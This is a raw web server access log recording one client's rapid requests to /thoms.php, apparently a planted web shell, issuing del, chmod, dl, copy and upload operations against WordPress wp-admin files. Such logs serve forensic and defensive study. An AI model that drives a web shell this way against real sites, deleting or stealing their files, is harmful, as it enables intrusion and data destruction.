45.135.193.11 - - [11/Sep/2026:23:48:18 -0400] "GET /thoms.php?dl=upgrade.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=upgrade.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:18 -0400] "GET /thoms.php?chmod=admin.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:18 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=erase-personal-data.php HTTP/1.1" 200 15032 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=erase-personal-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:18 -0400] "GET /thoms.php?del=authorize-application.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?del=authorize-application.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:18 -0400] "GET /thoms.php?del=options-reading.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=options-reading.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:19 -0400] "GET /thoms.php?dl=options.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?dl=options.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:19 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=privacy.php HTTP/1.1" 200 13018 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=privacy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:19 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fprivacy.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fprivacy.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:19 -0400] "GET /booking-wise2.com.tw/wp-admin/post.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:19 -0400] "GET /thoms.php?del=network&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=network&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:19 -0400] "GET /thoms.php?del=admin-header.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=admin-header.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:19 -0400] "GET /thoms.php?del=setup-config.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=setup-config.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:19 -0400] "GET /booking-wise2.com.tw/wp-admin/load-styles.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:19 -0400] "GET /thoms.php?dl=import.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=import.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:19 -0400] "GET /thoms.php?chmod=load-scripts.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=load-scripts.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:19 -0400] "GET /thoms.php?chmod=post.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=post.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:19 -0400] "GET /thoms.php?chmod=term.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=term.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:20 -0400] "GET /booking-wise2.com.tw/wp-admin/edit-link-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:20 -0400] "GET /booking-wise2.com.tw/wp-admin/ms-options.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:20 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=credits.php HTTP/1.1" 200 13359 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=credits.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:20 -0400] "GET /thoms.php?chmod=nav-menus.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=nav-menus.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:20 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&settings=1 HTTP/1.1" 200 11930 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:20 -0400] "GET /thoms.php?chmod=about.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=about.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:20 -0400] "GET /thoms.php?chmod=font-library.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=font-library.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:20 -0400] "GET /thoms.php?del=link-manager.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28828 "http://163.245.207.76:443/thoms.php?del=link-manager.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:20 -0400] "GET /thoms.php?del=moderation.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28841 "http://163.245.207.76:443/thoms.php?del=moderation.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:20 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Foptions-general.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Foptions-general.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:20 -0400] "GET /thoms.php?dl=ms-admin.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?dl=ms-admin.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:20 -0400] "GET /booking-wise2.com.tw/wp-admin/edit-tags.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:20 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Finstall.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Finstall.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:20 -0400] "GET /thoms.php?chmod=user-edit.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=user-edit.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:21 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fincludes&p= HTTP/1.1" 200 12421 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fincludes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:21 -0400] "GET /thoms.php?chmod=erase-personal-data.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=erase-personal-data.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:21 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fms-delete-site.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fms-delete-site.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:21 -0400] "GET /thoms.php?chmod=plugin-install.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=plugin-install.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:21 -0400] "GET /thoms.php?dl=authorize-application.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=authorize-application.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:21 -0400] "GET /thoms.php?dl=plugin-install.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?dl=plugin-install.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:21 -0400] "GET /thoms.php?dl=post-new.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=post-new.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:21 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin%2Fcss HTTP/1.1" 200 29191 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin%2Fcss" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:21 -0400] "GET /thoms.php?del=edit-comments.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=edit-comments.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:22 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=upgrade.php HTTP/1.1" 200 14275 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=upgrade.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:21 -0400] "GET /thoms.php?dl=link-manager.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?dl=link-manager.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:22 -0400] "GET /thoms.php?chmod=options-connectors.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=options-connectors.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:22 -0400] "GET /thoms.php?del=press-this.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=press-this.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:22 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fnetwork&p= HTTP/1.1" 200 12422 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fnetwork&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:22 -0400] "GET /thoms.php?del=edit-form-comment.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=edit-form-comment.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:22 -0400] "GET /thoms.php?dl=link-parse-opml.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28838 "http://163.245.207.76:443/thoms.php?dl=link-parse-opml.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:22 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=link.php HTTP/1.1" 200 13081 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=link.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:22 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fmoderation.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fmoderation.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:22 -0400] "GET /booking-wise2.com.tw/wp-admin/themes.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:22 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=plugin-editor.php HTTP/1.1" 200 17553 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=plugin-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:22 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&upload= HTTP/1.1" 200 12189 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:22 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fjs&p= HTTP/1.1" 200 12442 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fjs&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:23 -0400] "GET /thoms.php?chmod=user&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=user&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:23 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=comment.php HTTP/1.1" 200 15930 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:23 -0400] "GET /booking-wise2.com.tw/wp-admin/press-this.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:23 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=edit-tags.php HTTP/1.1" 200 19184 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=edit-tags.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:23 -0400] "GET /thoms.php?dl=edit-form-advanced.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=edit-form-advanced.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:23 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fupdate-core.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11445 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fupdate-core.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:23 -0400] "GET /thoms.php?chmod=maint&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=maint&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:23 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=load-styles.php HTTP/1.1" 200 13351 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=load-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:23 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fms-users.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fms-users.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:23 -0400] "GET /thoms.php?del=install.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28838 "http://163.245.207.76:443/thoms.php?del=install.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:23 -0400] "GET /thoms.php?dl=widgets-form.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?dl=widgets-form.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:23 -0400] "GET /thoms.php?del=widgets.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=widgets.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:24 -0400] "GET /thoms.php?chmod=press-this.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=press-this.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:24 -0400] "GET /thoms.php?del=my-sites.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28841 "http://163.245.207.76:443/thoms.php?del=my-sites.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:24 -0400] "GET /thoms.php?chmod=setup-config.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=setup-config.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:24 -0400] "GET /thoms.php?chmod=load-styles.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=load-styles.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:24 -0400] "GET /thoms.php?del=upload.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=upload.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:24 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=plugins.php HTTP/1.1" 200 21227 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=plugins.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
